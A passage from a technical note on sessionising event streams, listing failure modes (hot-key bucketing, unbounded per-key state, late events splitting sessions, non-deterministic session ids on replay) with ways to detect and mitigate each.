(user_id, ts // 3600), sessionise inside each bucket, then merge adjacent buckets. - Unbounded state. Users who never return keep their key alive forever. Detect via checkpoint size growth and per-key state metrics. Mitigate with a state TTL of gap + allowed lateness.
- Late events splitting sessions. An event arriving after its session was emitted creates a second session for the same activity. Detect by running two lateness settings and diffing session counts. Mitigate by emitting only after the watermark passes
last_ts + gap + lateness. - Non-deterministic ids. Random session ids duplicate sessions on replay; the deterministic hash above is the fix.
Curated: · Written: · Reviewed: